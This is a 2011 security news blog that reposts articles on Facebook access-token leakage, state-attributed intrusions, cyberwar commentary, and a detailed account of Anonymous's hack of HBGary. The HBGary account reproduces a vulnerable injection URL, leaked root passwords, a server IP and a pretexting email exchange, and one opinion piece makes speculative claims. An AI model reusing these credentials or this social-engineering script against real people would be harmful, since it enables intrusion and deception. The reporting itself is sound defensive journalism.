NETWORK SECURITY

Facebook Leaks Access Tokens: Exposes Private User Data

2011-05-11T13:26:00.000-07:00

Third parties, in particular advertisers, have accidentally had access to Facebook users’ accounts including profiles, photographs, chat, and also had the ability to post messages and mine personal information. Fortunately, these third-parties may not have realized their ability to access this information. We have reported this issue to Facebook, who has taken corrective action to help eliminate this issue.

Facebook applications are Web applications that are integrated onto the Facebook platform. According to Facebook, 20 million Facebook applications are installed every day.

Symantec has discovered that in certain cases, Facebook IFRAME applications inadvertently leaked access tokens to third parties like advertisers or analytic platforms. We estimate that as of April 2011, close to 100,000 applications were enabling this leakage. We estimate that over the years, hundreds of thousands of applications may have inadvertently leaked millions of access tokens to third parties.

Access tokens are like ‘spare keys’ granted by you to the Facebook application. Applications can use these tokens or keys to perform certain actions on behalf of the user or to access the user’s profile. Each token or ‘spare key’ is associated with a select set of permissions, like reading your wall, accessing your friend’s profile, posting to your wall, etc.

Figure 1. illustrates some of these permissions.

Figure 1

During the application installation process, the application requests the user to grant permissions to these actions. Upon granting these permissions, the application gets an access token as seen in Figure 2.

Figure 2

Using this access token, the application can now access the user’s information or perform actions on behalf of the user.

https://graph.Facebook.com/me/accounts?access_toke...

By default, most access tokens expire after a short time, however the application can request offline access tokens which allow them to use these tokens until you change your password, even when you aren’t logged in.

How does the access token get leaked?

By default, Facebook now uses OAUTH2.0 for authentication. However, older authentication schemes are still supported and used by hundreds of thousands of applications. When a user visits apps.Facebook.com/appname , Facebook first sends the application a limited amount of non-identifiable information about the user, such as their country, locale and age bracket. Using this information, the application can personalize the page.

The application then needs to redirect the user to a permission dialog page, as seen here.

Figure 3

The application uses a client-side redirect for redirecting the user to the familiar application permission dialog box. This indirect leak could happen if the application uses a legacy Facebook API and has the following deprecated parameters, "return_session=1" and "session_version=3", as part of their redirect code, as seen in Figure 4.

Figure 4

If these parameters are used, Facebook subsequently returns the access token by sending an HTTP request containing the access tokens in the URL to the application host.

The Facebook application is now in a position to inadvertently leak the access tokens to third parties potentially on purpose and unfortunately very commonly by accident. In particular, this URL, including the access token, is passed to third-party advertisers as part of the referrer field of the HTTP requests.

For example, if this application’s first page was requesting resources from an external URL using an iframe tag from an advertiser, then the access token will get leaked in the referrer field. This is illustrated in Figure 5.

Figure 5

Conclusion

Needless to say, the repercussions of this access token leakage are seen far and wide. Facebook was notified of this issue and has confirmed this leakage. Facebook notified us of changes on their end to prevent these tokens from getting leaked.

There is no good way to estimate how many access tokens have already been leaked since the release Facebook applications back in 2007. We fear a lot of these tokens might still be available in log files of third-party servers or still being actively used by advertisers. Concerned Facebook users can change their Facebook passwords to invalidate leaked access tokens. Changing the password invalidates these tokens and is equivalent to “changing the lock” on your Facebook profile.

Nishant Doshi and Candid Wueest from Symantec are credited with the discovery of this issue.

Facebook has recently announced an update to their Developer RoadMap. The details of this update can be found here: https://developers.facebook.com/blog/post/497

coutser:semantic

Sony Ericssion Xperia X7 leaked??

2011-03-08T01:50:00.000-08:00

A Chinese site has leaked some images of a new Sony Ericsson smartphone.
The pictures of the unknown device show it is powered by Windows Phone 7 and has a sliding QWERTY keyboard. The mobile is also at an early stage because it has prototype written along the bottom.

The most likely candidate that the mobile could be is the Xperia X7 which will have a 4.3 inch touch-screen, 1.2 GHz Qualcomm processor and an 8.1 mega-pixel camera. This information was leaked in a video which has now been taken down.
However, when the Xpeira X7 was leaked there wasn't any mention of a QWERTY keyboard, but that doesn't rule out it having one or this being a pro version.
Once we hear more about the leaked images or the Xperia X7 we'll let you know.

Source via Techtree

Canadian Govt. Hit by China based Hackers

2011-03-01T01:16:00.000-08:00

Feb. 18 – Stockwell Day, president of Canada’s Treasury Board, said on Thursday that hackers – maybe from China – attacked computers in government departments responsible for overseeing the county’s budget and fiscal policy, leaving officials disconnected from the Internet for nearly two months.
“Every indication we have at this point is that our sensors and our cyber-protection systems got the alerts out in time, that the information doors were slammed shut,” Day said.

The motives remain unclear, but analysts have noted that such attacks tend to go after any information of financial significance. Documentation on funding for every federal program and proposals for new ones pass through the Treasury Board. Unreleased information on the budget could potentially give the hackers an advantage on predicting market movements.
“It was a significant one — significant that they were going after financial records,” he said.
According to reports by the Canadian Broadcast Corporation and other Canadian news organizations, the attackers used the same approach as the one used by a China-based espionage ring that stole information from the Indian Defense Ministry. That gang was exposed by researchers at the University of Toronto.
The hackers used a technique known as “executive spear phishing.” First they took control of computers used by senior officials in the affected departments. They then generated messages that appeared to be from those officials to the departments’ information technology section. Email replies with sensitive passwords and other information granted them further access.
Other employees received emails from the senior officials’ email accounts that included Adobe PDF attachments. Those attachments started programs that searched for information on the ministries’ networks that was then sent back to the hackers.
Canadian news reports say that the government has traced the hackers back to an Internet protocol address in China. Other sources say Canada’s cyber spy agency, the Communications Security Establishment, tracked the hacking operation back to the Chinese embassy in Ottawa and to computer servers in Beijing.
Rafal A. Rohozinski, one of the researchers who documented the earlier Chinese attack, said it should be possible for the Canadian government to determine if the attack originated in China or if the hackers had merely disguised their location by using Chinese servers.
Nevertheless, Mr. Rohozinski said that China was the most likely source of the attack, although that did not mean that it was a government-approved move.
“There are more people online in China than anywhere else,” he said. “Most of them are young, so you see a lot of digital promiscuity coming from China.”
“[China's] got whole regiments in its military of hackers. You’re not talking about someone in an Internet café running off a laptop,” John Thompson, president of the Toronto-based Mackenzie Institute, told CTV’s Power Play. “You’re talking about hundreds of dedicated people who are as well-trained as a hacker to be in systemic attempts to probe government computers, corporate computers all over the world.”
“They’ve penetrated computers in a number of governments over the last few years and made attempts on many more,” Thompson added. “It’s not just the government, it’s every Canadian corporation, every Canadian businessman who deals with China.”
While Beijing denies supporting networks of hackers, some Western intelligence officials believe the Chinese government may turn a blind eye towards such conduct, or may even be complicit with such attacks.
A spokesman for China’s Foreign Ministry, Ma Zhaoxu, rejected suggestions of a link to China as preposterous, “What you mentioned is purely fictitious and has an ulterior motive,” he said.
“Hacker attacks are a global concern of which China has also been a victim. The allegation that the Chinese government supports Internet hacking is groundless,” Zhaoxu said in response Thursday. “The Chinese government attaches importance to computer network security, and asks Internet users to abide by laws and regulations.”

Our next Pearl Harbor IN Cyber World.........

2011-02-25T02:06:00.000-08:00

Hackers, worms, viruses, WikiLeaks, Stuxnet: Every day, in every corner of the world, we learn of advances made by those who penetrate supposedly secure computers.

I believe we are witnessing previews of the next war – a war against the computers which have made our lives so much easier, so much more complicated and so much more vulnerable.
Hacking used to be done by talented teenagers as a prank. It was the stuff of Hollywood movies. Then there was industrial espionage, done for money and competitive advantage.

Today we hear of Stuxnet, which attacks and disables the Iranium centrifuges working night and day to enrich uranium to be used in Iranian nuclear weapons. The U.S., Israel and Germany are said to have developed Stuxnet, accomplishing what a messy bombing campaign against Iran could never have done.
The Chinese hack into Pentagon computers, into Nasdaq, into American oil companies –modern-day raiding parties probing the enemy's weaknesses.
The Wall Street Journal recently (on Feb. 10) reported that China continues to conduct a "coordinated, covert and targeted" campaign of cyber espionage against five multinational energy companies.
The attacks, dubbed "Night Dragon" in the West, successfully took gigabytes of highly sensitive internal company documents, including proprietary information about oil and gas field operations, technological advancements in drilling, project financing and bidding documents.
We could be witnessing the results of this espionage in recent Chinese acquisitions.
PetroChina is China's largest energy firm, jointly owned by private investors and the Chinese government. PetroChina recently announced purchase of 50 percent of Canadian energy company Encana's Cutback Ridge asset for $5.4 billion. The purchase gives China access to natural gas from 635,000 acres in British Columbia and Alberta.
Last year, another Chinese energy giant, Sinopec, paid $4.5 billion to ConocoPhillips for a 9 percent share of Canada's biggest oil sands project. Nearly a quarter of China's $46 billion energy project purchases were made in Canada, a principal source of American imported oil.
WikiLeaks has proven there is no such thing as Internet security. The revolution in Egypt made practical use of that fact.
I interviewed cyber security expert Tom Kellermann last week. His conclusion? There is no such thing as a secret on the Internet, and no computer is safe from hackers who steal or manipulate the content.
In effect, we are as vulnerable at this moment as the villagers of York, England, were in the 12th century to Viking raids.
With this background in mind, I was shocked to hear of the proposed purchase of the New York Stock Exchange by the German Borse.
I wasn't shocked to hear of the dethroning of New York as the financial capital of the world. That was coming on for a long time for two reasons.
First, technology makes it possible to trade shares anywhere in the world. A "center" like New York is no longer as vital as it was in the ticker tape era.
Secondly, local, state and federal governments in the U.S. have been slowly strangling the New York goose that laid the golden eggs. Taxation and regulation made "free trade" of stocks less and less attractive in New York.
World economic trends made consolidation of stock exchanges inevitable.
The NYSE itself had gobbled up the American stock exchange, and purchased Euronext, which owned the exchanges in Amsterdam, Brussels and Paris. Now competitive pressures brought on by computer technology force this further consolidation that effectively unites the economic systems of the European Union and the United States.
Only this concentration of economic power, the largest number of publicly traded companies in the world, stands a chance in the new competitive world where China, India, Brazil and other emerging economies will play a larger role.
But this concentration of economic clout is possible only by the instantaneous trading done today not by humans shouting bids at each other on a trading floor, but by computers talking to each other at the speed of light all over the globe.
Computers are now increasingly vulnerable to attack.
In April 2010, the value of the entire NYSE plunged in seconds, wiping out trillions of dollars of equity.
A trader's "fat finger" was blamed initially for the snafu, which was swiftly corrected. No further explanations for this disaster have ever been offered – no congressional hearings, no SEC investigation.
Two weeks ago, the London Stock Exchange reported it was "under major cyber attack" during a switch over to a Linux-based operating system. The LSE, unlike U.S. exchanges, is not based on the Internet and was thought to be less vulnerable to cyber attacks.
While LSE and British security officials were tight lipped on what actually happened (even concocting a "fat finger" cover story), share prices of five major companies collapsed in a second, and the LSE suspended trading for a day.
America's Nasdaq suffered a wave of cyber attacks recently with hackers gaining access to "non-public, insider information." Sen. Max Baucus has asked the SEC to investigate whether these hacks have given anyone a trading advantage.
The fact that there is a more threatening explanation to these instances of hacking the major stock exchanges has been universally ignored.
What if some group (some country?) wanted to erase the West's economic clout in one blow?
What if these recent attacks are but probes to develop and use a super-Stuxnet which erases the wealth of every investor and every listed company in one nanosecond?
It must be recognized that this is possible today. Won't the further concentration of exchanges into fewer hands using centralized computer systems just make such an attack easier and more likely?
In this "Pearl Harbor" scenario, what if it isn't the U.S. Navy attacked, but the wealth of the West that's attacked and erased from the computers on which that wealth is recorded?
Are we ready for that kind of assault?
Read more: Our next Pearl Harbor? Cyber war is imminent http://www.wnd.com/index.php?fa=PAGE.view&pageId=263181#ixzz1ExnmI7ta

original posted by: Roger Hedgecock

Anonymous speaks: the inside story of the HBGary hack

2011-02-25T01:59:00.000-08:00

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned and operated by Greg Hoglund, owner of HBGary, was taken offline and the user registration database published.
Over the last week, I've talked to some of those who participated in the HBGary hack to learn in detail how they penetrated HBGary's defenses and gave the company such a stunning black eye—and what the HBGary example means for the rest of us mere mortals who use the Internet

Anonymous: more than kids

HBGary and HBGary Federal position themselves as experts in computer security. The companies offer both software and services to both the public and private sectors. On the software side, HBGary has a range of computer forensics and malware analysis tools to enable the detection, isolation, and analysis of worms, viruses, and trojans. On the services side, it offers expertise in implementing intrusion detection systems and secure networking, and performs vulnerability assessment and penetration testing of systems and software. A variety of three letter agencies, including the NSA, appeared to be in regular contact with the HBGary companies, as did Interpol, and HBGary also worked with well-known security firm McAfee. At one time, even Apple expressed an interest in the company's products or services.

Greg Hoglund's rootkit.com is a respected resource for discussion and analysis of rootkits (software that tampers with operating systems at a low level to evade detection) and related technology; over the years, his site has been targeted by disgruntled hackers aggrieved that their wares have been discussed, dissected, and often disparaged as badly written bits of code.

One might think that such an esteemed organization would prove an insurmountable challenge for a bunch of disaffected kids to hack. World-renowned, government-recognized experts against Anonymous? HBGary should be able to take their efforts in stride.
Unfortunately for HBGary, neither the characterization of Anonymous nor the assumption of competence on the security company's part are accurate, as the story of how HBGary was hacked will make clear.
Anonymous is a diverse bunch: though they tend to be younger rather than older, their age group spans decades. Some may still be in school, but many others are gainfully employed office-workers, software developers, or IT support technicians, among other things. With that diversity in age and experience comes a diversity of expertise and ability.
It's true that most of the operations performed under the Anonymous branding have been relatively unsophisticated, albeit effective: the attacks made on MasterCard and others were distributed denial-of-service attacks using a modified version of the Low Orbit Ion Cannon (LOIC) load-testing tool. The modified LOIC enables the creation of large botnets that each user opts into: the software can be configured to take its instructions from connections to Internet relay chat (IRC) chat servers, allowing attack organizers to remotely control hundreds of slave machines and hence control large-scale attacks that can readily knock websites offline.
According to the leaked e-mails, Aaron Barr believed that HBGary's website was itself subject to a denial-of-service attack shortly after he exposed himself to someone he believed to be a top Anonymous leader. But the person I spoke to about this denied any involvement in such an attack. Which is not to say that the attack didn't happen—simply that this person didn't know about or participate in it. In any case, the Anonymous plans were more advanced than a brute force DDoS.

Time for an injection

HBGary Federal's website, hbgaryfederal.com, was powered by a content management system (CMS). CMSes are a common component of content-driven sites; they make it easy to add and update content to the site without having to mess about with HTML and making sure everything gets linked up and so on and so forth. Rather than using an off-the-shelf CMS (of which there are many, used in the many blogs and news sites that exist on the Web), HBGary—for reasons best known to its staff—decided to commission a custom CMS system from a third-party developer.
Unfortunately for HBGary, this third-party CMS was poorly written. In fact, it had what can only be described as a pretty gaping bug in it. A standard, off-the-shelf CMS would be no panacea in this regard—security flaws crop up in all of them from time to time—but it would have the advantage of many thousands of users and regular bugfixes, resulting in a much lesser chance of extant security flaws.
The custom solution on HBGary's site, alas, appeared to lack this kind of support. And if HBGary conducted any kind of vulnerability assessment of the software—which is, after all, one of the services the company offers—then its assessment overlooked a substantial flaw.
The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web front-end to the CMS.
SQL injection is possible when the code that deals with these parameters is faulty. Many applications join the parameters from the Web front-end with hard-coded queries, then pass the whole concatenated lot to the database. Often, they do this without verifying the validity of those parameters. This exposes the systems to SQL injection. Attackers can pass in specially crafted parameters that cause the database to execute queries of the attackers' own choosing.
The exact URL used to break into hbgaryfederal.com was http://www.hbgaryfederal.com/pages.php?pageNav=2&page=27. The URL has two parameters named pageNav and page, set to the values 2 and 27, respectively. One or other or both of these was handled incorrectly by the CMS, allowing the hackers to retrieve data from the database that they shouldn't have been able to get.
Rainbow tables

Specifically, the attackers grabbed the user database from the CMS—the list of usernames, e-mail addresses, and password hashes for the HBGary employees authorized to make changes to the CMS. In spite of the rudimentary SQL injection flaw, the designers of the CMS system were not completely oblivious to security best practices; the user database did not store plain readable passwords. It stored only hashed passwords—passwords that have been mathematically processed with a hash function to yield a number from which the original password can't be deciphered.
The key part is that you can't go backwards—you can't take the hash value and convert it back into a password. With a hash algorithm, traditionally the only way to figure out the original password was to try every single possible password in turn, and see which one matched the hash value you have. So, one would try "a," then "b," then "c"... then "z," then "aa," "ab," and so on and so forth.
To make this more difficult, hash algorithms are often quite slow (deliberately), and users are encouraged to use long passwords which mix lower case, upper case, numbers, and symbols, so that these brute force attacks have to try even more potential passwords until they find the right one. Given the number of passwords to try, and the slowness of hash algorithms, this normally takes a very long time. Password cracking software to perform this kind of brute force attack has long been available, but its success at cracking complex passwords is low.
However, a technique first published in 2003 (itself a refinement of a technique described in 1980) gave password crackers an alternative approach. By pre-computing large sets of data and generating what are known as rainbow tables, the attackers can make a trade-off: they get much faster password cracks in return for using much more space. The rainbow table lets the password cracker pre-compute and store a large number of hash values and the passwords that generated them. An attacker can then look up the hash value that they are interested in and see if it's in the table. If it is, they can then read out the password.
To make cracking harder, good password hash implementations will use a couple of additional techniques. The first is iterative hashing: simply put, the output of the hash function is itself hashed with the hash function, and this process is repeated thousands of times. This makes the hashing process considerably slower, hindering both brute-force attacks and rainbow table generation.
The second technique is salting; a small amount of random data is added to the password before hashing it, greatly expanding the size of rainbow table that would be required to get the password.
In principle, any hash function can be used to generate rainbow tables. However, it takes more time to generate rainbow tables for slow hash functions than it does for fast ones, and hash functions that produce a short hash value require less storage than ones that produce long hash values. So in practice, only a few hash algorithms have widely available rainbow table software available. The best known and most widely supported of these is probably MD5, which is quick to compute and produces an output that is only 128 bits (16 bytes) per hash. These factors together make it particularly vulnerable to rainbow table attacks. A number of software projects exist that allow the generation or downloading of MD5 rainbow tables, and their subsequent use to crack passwords.
As luck would have it, the hbgaryfederal.com CMS used MD5. What's worse is that it used MD5 badly: there was no iterative hashing and no salting. The result was that the downloaded passwords were highly susceptible to rainbow table-based attacks, performed using a rainbow table-based password cracking website. And so this is precisely what the attackers did; they used a rainbow table cracking tool to crack the hbgaryfederal.com CMS passwords.
Even with the flawed usage of MD5, HBGary could have been safe thanks to a key limitation of rainbow tables: each table only spans a given "pattern" for the password. So for example, some tables may support "passwords of 1-8 characters made of a mix of lower case and numbers," while other can handle only "passwords of 1-12 characters using upper case only."
A password that uses the full range of the standard 95 typeable characters (upper and lower case letters, numbers, and the standard symbols found on a keyboard) and which is unusually long (say, 14 or more characters) is unlikely to be found in a rainbow table, because the rainbow table required for such passwords will be too big and take too long to generate.
Alas, two HBGary Federal employees—CEO Aaron Barr and COO Ted Vera—used passwords that were very simple; each was just six lower case letters and two numbers. Such simple combinations are likely to be found in any respectable rainbow table, and so it was that their passwords were trivially compromised.
For a security company to use a CMS that was so flawed is remarkable. Improper handling of passwords—iterative hashing, using salts and slow algorithms—and lack of protection against SQL injection attacks are basic errors. Their system did not fall prey to some subtle, complex issue: it was broken into with basic, well-known techniques. And though not all the passwords were retrieved through the rainbow tables, two were, because they were so poorly chosen.
HBGary owner Penny Leavy said in a later IRC chat with Anonymous that the company responsible for implementing the CMS has since been fired.

Password problems

Still, badly chosen passwords aren't such a big deal, are they? They might have allowed someone to deface the hbgaryfederal.com website—admittedly embarrassing—but since everybody knows that you shouldn't reuse passwords across different systems, that should have been the extent of the damage, surely?
Unfortunately for HBGary Federal, it was not. Neither Aaron nor Ted followed best practices. Instead, they used the same password in a whole bunch of different places, including e-mail, Twitter accounts, and LinkedIn. For both men, the passwords allowed retrieval of e-mail. However, that was not all they revealed. Let's start with Ted's password first.
Along with its webserver, HBGary had a Linux machine, support.hbgary.com, on which many HBGary employees had shell accounts with ssh access, each with a password used to authenticate the user. One of these employees was Ted Vera, and his ssh password was identical to the cracked password he used in the CMS. This gave the hackers immediate access to the support machine.
ssh doesn't have to use passwords for authentication. Passwords are certainly common, but they're also susceptible to this kind of problem (among others). To combat this, many organizations and users, particularly those with security concerns, do not use passwords for ssh authentication. Instead, they use public key cryptography: each user has a key made up of a private part and a public part. The public part is associated with their account, and the private part is kept, well, private. ssh then uses these two keys to authenticate the user.
Since these private keys are not as easily compromised as passwords—servers don't store them, and in fact they never leave the client machine—and aren't readily re-used (one set of keys might be used to authenticate with several servers, but they can't be used to log in to a website, say), they are a much more secure option. Had they been used for HBGary's server, it would have been safe. But they weren't, so it wasn't.
Although attackers could log on to this machine, the ability to look around and break stuff was curtailed: Ted was only a regular non-superuser. Being restricted to a user account can be enormously confining on a Linux machine. It spoils all your fun; you can't read other users' data, you can't delete files you don't own, you can't cover up the evidence of your own break-in. It's a total downer for hackers.
The only way they can have some fun is to elevate privileges through exploiting a privilege escalation vulnerability. These crop up from time to time and generally exploit flaws in the operating system kernel or its system libraries to trick it into giving the user more access to the system than should be allowed. By a stroke of luck, the HBGary system was vulnerable to just such a flaw. The error was published in October last year, conveniently with a full, working exploit. By November, most distributions had patches available, and there was no good reason to be running the exploitable code in February 2011.
Exploitation of this flaw gave the Anonymous attackers full access to HBGary's system. It was then that they discovered many gigabytes of backups and research data, which they duly purged from the system.
Aaron's password yielded even more fruit. HBGary used Google Apps for its e-mail services, and for both Aaron and Ted, the password cracking provided access to their mail. But Aaron was no mere user of Google Apps: his account was also the administrator of the company's mail. With his higher access, he could reset the passwords of any mailbox and hence gain access to all the company's mail—not just his own. It's this capability that yielded access to Greg Hoglund's mail.
And what was done with Greg's mail?
A little bit of social engineering, that's what.
A little help from my friends

Contained within Greg's mail were two bits of useful information. One: the root password to the machine running Greg's rootkit.com site was either "88j4bb3rw0cky88" or "88Scr3am3r88". Two: Jussi Jaakonaho, "Chief Security Specialist" at Nokia, had root access. Vandalizing the website stored on the machine was now within reach.
The attackers just needed a little bit more information: they needed a regular, non-root user account to log in with, because as a standard security procedure, direct ssh access with the root account is disabled. Armed with the two pieces of knowledge above, and with Greg's e-mail account in their control, the social engineers set about their task. The e-mail correspondence tells the whole story:

From: Greg

To: Jussi

Subject: need to ssh into rootkit

im in europe and need to ssh into the server. can you drop open up

firewall and allow ssh through port 59022 or something vague?

and is our root password still 88j4bb3rw0cky88 or did we change to

88Scr3am3r88 ?

thanks-------------------------------------

From: Jussi

To: Greg

Subject: Re: need to ssh into rootkit

hi, do you have public ip? or should i just drop fw?

and it is w0cky - tho no remote root access allowed-------------------------------------

From: Greg

To: Jussi

Subject: Re: need to ssh into rootkit

no i dont have the public ip with me at the moment because im ready

for a small meeting and im in a rush.

if anything just reset my password to changeme123 and give me public

ip and ill ssh in and reset my pw.-------------------------------------

From: Jussi

To: Greg

Subject: Re: need to ssh into rootkit

ok,

it should now accept from anywhere to 47152 as ssh. i am doing

testing so that it works for sure.

your password is changeme123

i am online so just shoot me if you need something.

in europe, but not in finland? :-)

_jussi-------------------------------------

From: Greg

To: Jussi

Subject: Re: need to ssh into rootkit

if i can squeeze out time maybe we can catch up.. ill be in germany

for a little bit.

anyway I can't ssh into rootkit. you sure the ips still

65.74.181.141?

thanks-------------------------------------

From: Jussi

To: Greg

Subject: Re: need to ssh into rootkit

does it work now?-------------------------------------

From: Greg

To: Jussi

Subject: Re: need to ssh into rootkit

yes jussi thanks

did you reset the user greg or?-------------------------------------

From: Jussi

To: Greg

Subject: Re: need to ssh into rootkit

nope. your account is named as hoglund-------------------------------------

From: Greg

To: Jussi

Subject: Re: need to ssh into rootkit

yup im logged in thanks ill email you in a few, im backed up

thanksThanks indeed. To be fair to Jussi, the fake Greg appeared to know the root password and, well, the e-mails were coming from Greg's own e-mail address. But over the course of a few e-mails it was clear that "Greg" had forgotten both his username and his password. And Jussi handed them to him on a platter.
Later on, Jussi did appear to notice something was up:

From: Jussi

To: Greg

Subject: Re: need to ssh into rootkit

did you open something running on high port?As with the HBGary machine, this could have been avoided if keys had been used instead of passwords. But they weren't. Rootkit.com was now compromised.

Standard practice

Once the username and password were known, defacing the site was easy. Log in as Greg, switch to root, and deface away! The attackers went one better than this, however: they dumped the user database for rootkit.com, listing the e-mail addresses and password hashes for everyone who'd ever registered on the site. And, as with the hbgaryfederal.com CMS system, the passwords were hashed with a single naive use of MD5, meaning that once again they were susceptible to rainbow table-based password cracking. So the crackable passwords were cracked, too.
So what do we have in total? A Web application with SQL injection flaws and insecure passwords. Passwords that were badly chosen. Passwords that were reused. Servers that allowed password-based authentication. Systems that weren't patched. And an astonishing willingness to hand out credentials over e-mail, even when the person being asked for them should have realized something was up.
The thing is, none of this is unusual. Quite the opposite. The Anonymous hack was not exceptional: the hackers used standard, widely known techniques to break into systems, find as much information as possible, and use that information to compromise further systems. They didn't have to, for example, use any non-public vulnerabilities or perform any carefully targeted social engineering. And because of their desire to cause significant public disruption, they did not have to go to any great lengths to hide their activity.
Nonetheless, their attack was highly effective, and it was well-executed. The desire was to cause trouble for HBGary, and that they did. Especially in the social engineering attack against Jussi, they used the right information in the right way to seem credible.
Most frustrating for HBGary must be the knowledge that they know what they did wrong, and they were perfectly aware of best practices; they just didn't actually use them. Everybody knows you don't use easy-to-crack passwords, but some employees did. Everybody knows you don't re-use passwords, but some of them did. Everybody knows that you should patch servers to keep them free of known security flaws, but they didn't.
And HBGary isn't alone. Analysis of the passwords leaked from rootkit.com and Gawker shows that password re-use is extremely widespread, with something like 30 percent of users re-using their passwords. HBGary won't be the last site to suffer from SQL injection, either, and people will continue to use password authentication for secure systems because it's so much more convenient than key-based authentication.
So there are clearly two lessons to be learned here. The first is that the standard advice is good advice. If all best practices had been followed then none of this would have happened. Even if the SQL injection error was still present, it wouldn't have caused the cascade of failures that followed.
The second lesson, however, is that the standard advice isn't good enough. Even recognized security experts who should know better won't follow it. What hope does that leave for the rest of us?

DRDO gears up for Cyber War

2011-02-25T01:50:00.000-08:00

Evolving conditions of threats have pushed the Defense Research and Development Organisation (DRDO) to enable themselves in the area of cyber warfare. "We have evolved from border issues to economic issues to cyber warfare," said V K Saraswat, scientific adviser to the Defence Minister. But "old disputes continue to remain", he said. He said they would get robust technology and trusted platforms to make their networks 'invincible'.

"We have to be more and vigilant on cyber security," he said. Speaking about the threats of space wars, he said India, as a country, does not have a policy or intent in space war and antisatellite activities.
Throwing more light on the issue, he said as part of the Ballistic Missile Defence Programme, they have "all the technology elements required to integrate a system to defend our own satellites or any requirements in the future". Speaking about the Fifth Generation Fighter Aircraft (FGFA), Saraswat said they have six laboratories working to develop new technologies on stealth, avionics and a major portion in test and evaluation. He shared that the Agni5 rocket motors have been developed in all of its stages, including the reentry vehicle. According to him, it would be ready for its first flight by the end of 2011.
Saraswath said different variants of Micro Aerial Vehicles (MAV) were being developed for Low Intensity Conflict.

Sri Lanka:Cyber War

2011-02-25T01:46:00.000-08:00

Sri Lanka's Army Commander Lieutenant General Jagath Jayasuriya today said although the physical war waged for 30 years has come to an end, the warfare has not come to an end by eliminating terrorists from this country as the 'cyber war', the war on information highway, is still continuing.

Delivering the keynote address at the Galadari Hotel in Colombo on "Strategic Dimensions of Cyber Warfare", at the 'Cyber Warfare Workshop - 2011,' the Army Commander said the Cyber Warfare is an emerging threat to the entire world.

The workshop was organized by the department of Computer Science and Engineering, University of Moratuwa and the Information Technology and Communications Engineering Sectional Committee of the Institution of Engineers, Sri Lanka.
Describing various cyber-attacks around the world, the Army Commander said during the humanitarian operation the Army web site also encountered a web defacement attack.
"Even at present there are continuous efforts been made to hack into our network which we have successfully defended up to now," he said.
Lieutenant General Jayasuriya warned of anti-Sri Lankan forces and pro-LTTE activists around the world.
The number of pro-LTTE websites launching false propaganda is thousands in numbers he said adding that "..and even at this moment there may be hundreds of thousands of people reading them and looking at this country with an awful eye."
The Army Chief assured that no one can launch any physical attack on Sri Lanka but warned that they can attack in cyber space.
"Though they do not have any room in the physical space, they have plenty of room to launch attacks on the cyberspace," he said.
He alerted the audience to the possibility of attacks on the computers with vital information such as financial networks of the country and emphasized the need to properly maintain updated security systems and to continuously monitor those systems externally and internally to ensure that there are no loopholes or vulnerabilities.
The Commander pointed out that countering the physical war with the terrorists was the responsibility of the armed forces but to counter the cyber war every sector is responsible.
"In combating this, all of us, service providers, banking sector, manufacturing sector, government sector together with armed forces must become soldiers and warriors before been victims of it," the Army Chief said.

Government Cyber Crime Report Debunked

2011-02-24T11:21:00.001-08:00

An IT security professor claims the government’s cyber crime report is merely sales bumf for BAE

A government report detailing the shocking cost of cyber crime to the UK economy has been dismissed by an information security professor at the London School of Economics as a “sales promotion exercise” by BAE Systems.

The report released last week by the Office of Cyber Security and Information Assurance (OCSIA) and information intelligence firm Detica (owned by BAE Systems) claims that cyber crime costs the UK economy £27 billion annually, with IP theft and industrial espionage being the main culprits.

However, Professor Peter Sommer told ZDNet that OSCIA should not have allied itself with the report, which he described as an “unfortunate item of British Aerospace puffery”. He said that the report was full of “fake precision,” and that no agreement has yet been made about what to include in the calculation of losses.

“The whole report has been orientated to areas in which BAE can offer its facilities and services,” he said.

Based on assumption

The report claims that IP theft from businesses has the greatest economic impact of any type of cyber crime, costing £9.2 billion per annum, with the hardest hit sectors being pharmaceuticals and biotech, electronics, IT and chemicals.

Meanwhile industrial espionage has the second greatest impact at £7.6 billion, according to the report, followed by £2.2 billion from extortion, £1.3 billion from direct online theft, and £1 billion from the loss or theft of customer data.

The study was welcomed by the Federation Against Software Theft (FAST), which claims that it should act as an alarm call for government and businesses. “There needs to be a number of ongoing debates to examine and secure a handle on these issues and if necessary improve legal as well as technological tools to reduce these figures over the short, medium and long term,” said FAST’s chief executive, John Lovelock.

However, even FAST acknowledged that the OCS’ assessments are “based on assumption rather than solid research,” and said that a truly accurate figure for cyber crime losses could only come from a “centralised reporting hub”.

Difficult to measure

Tyler Moore, a Harvard University cyber-security expert, also responded to the report with a blog post, criticising the researchers’ failure to describe the methodology and calculations for ascribing the probabilities used to calculate the estimate.

“Very small changes to the probabilities could mean the true cost of cyber crime is much smaller or larger,” explained Moore. “The authors try to account for this by also computing best- and worst-case probabilities, but there is no indication how different these values are, nor how they were derived. Consequently, stating that the true cost of cyber crime lies between the best and worst case scenarios is meaningless.”

Previous attempts have been made to calculate the true impact of cyber crime, but Moore explains that it is very difficult to make estimates because outside researchers do not have access to the same level of information on attacks as the victims do. In the case of espionage, many victims may even be unaware that they have been attacked.

Last week, home secretary Theresa May announced that the UK government has apportioned £63 million of its promised£650 million cyber security fund to tackling cyber crime. The news follows a warning last year by the director of the Government Communications Headquarters (GCHQ), that the UK is facing ‘real and credible’ threats from cyber attacks on its critical infrastructure.

ARE WE SECURE AGAINST CYBER CRIME??????

2011-02-24T11:18:00.001-08:00

The everyday progress in the field of information technology connects the world in even faster way and has become a vital and integral part of all the businesses. But at the same time, the new advancements throw up unprecedented functionality risks of information security. Taking a bigger picture, homeland security is critical to the overall security of the entire country. Recent terror attacks and other security concerns pertaining to domestic law and order situation have prompted the Central and State governments to focus on the modernisation and up gradation of the country's security infrastructure.

Responding to the importance of the IT security subject and homeland security, The Economic Times organised a summit titled 'Secure India Summit' in association withWipro and Cisco , recently , in the Capital.

